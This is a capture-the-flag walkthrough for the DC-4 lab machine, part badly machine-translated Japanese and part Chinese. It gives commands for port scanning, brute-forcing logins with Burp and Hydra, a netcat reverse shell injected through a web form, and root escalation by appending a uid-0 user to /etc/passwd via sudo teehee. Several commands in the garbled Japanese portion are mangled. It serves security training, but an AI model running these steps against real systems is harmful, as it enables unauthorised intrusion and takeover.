DC-4ターゲットドローンの練習
最初のステップスキャンホスト
[nmapの-sP 192.168.139.0/24]
第2段階の走査ポート
[nmapの-A 192.168.139.147 -p 1-65535]
第3のステップは80ページにアクセスすることです
使用のげっぷにアカウントとパスワードを取得するために4つの試みステップ
カーリーブラウザプラグインがインストールプロキシスイッチ
オープンパケットキャプチャburponオープン
[CAT /usr/share/john/password.lst]
[//デスクトップのcpにpassword.lst /ルート]
[レディパスワード辞書]
[集合変数]
[=ユーザ名&パスワード= ADMIN§123456§]
[ブラストスタート]
[ADMIN:幸せ]
アカウントページにアクセスするためのパスワードを使用する第5のステップ
ステップ6は、パケットキャプチャを表示するコマンドを変更げっぷ
NCリバウンドコマンドを使用して、第7のステップは、DC-4カリホスト接続を実現する
カリオープンリスニング
[-lvnp 666 NC]
[192.168.139.153ラジオ= NC + + + 666±E / binに/ bashの=&登録実行]
第8のステップは、インタラクティブモード入る
【パイソン-c「インポートPTYを、pty.spawn ( 『/ binに/ SH』)」]
第九のステップをユーザのビューに
-------------------------------
#!/bin/bash
for i in {1..5}
do
sleep 1
echo "Learn bash they said."
sleep 1
echo "Bash is good they said."
done
echo "But I'd rather bash my head against a brick wall."
-------------------------------------------------------
ステップナインは、ユーザーの現在のA・パスワードのホームディレクトリにあります示唆
利用ヒドラブラストへの試み
[ローカルげっぷに保存され、このパスワードの使用に注意してください]
[パスワード]ブラスト
[ヒドラ-L USER.TXT -P oldpass.txtのssh: //192.168 .139.147]
---------------
22][ssh] host: 192.168.139.147 login: jim password: jibril04
---------------------
第十步 登录jim用户
[ssh [email protected]]
[jim:jibril04]
[cat mbox]—收到一份邮件
--------------------
jim@dc-4:~$ cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
(envelope-from <root@dc-4>)
id 1hCiQe-0000gc-EC
for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO
This is a test.
--------------------------------
[cd /var/mail]—查看邮件
[cat jim]
----------------------
jim@dc-4:/var/mail$ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-0000kO-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya,
Charles
-----------------------------
第十一步 登录charles用户
[charles:^xHhA&hvim0y]
复制粘贴即可
[sudo -l]
[查看用户权限发现,该用户可以以root权限免密码执行 /usr/bin/teehee]
[teehee --help]
第十二步 在shadow文件下追加一个用户,拥有root权限
【cat /etc/passwd】
[wcp::0:0:::/bin/bash]
[echo “wcp::0:0:::/bin/bash” | sudo teehee -a /etc/passwd]
[tail -n 5 /etc/passwd]
[su wcp]
[cd /root]
[cat flag.txt]
-----------------------------------------------------
Congratulations!!!
Hope you enjoyed DC-4. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7
---------------------------
补充–添加用户wcp时,各字段的含义
[wcp::0:0:::/bin/bash]
用户名-wcp
是否有密码保护—空
uid—0给root权限
用户信息记录位置—不写
家目录—不写
登录的命令解释器–/bin/bash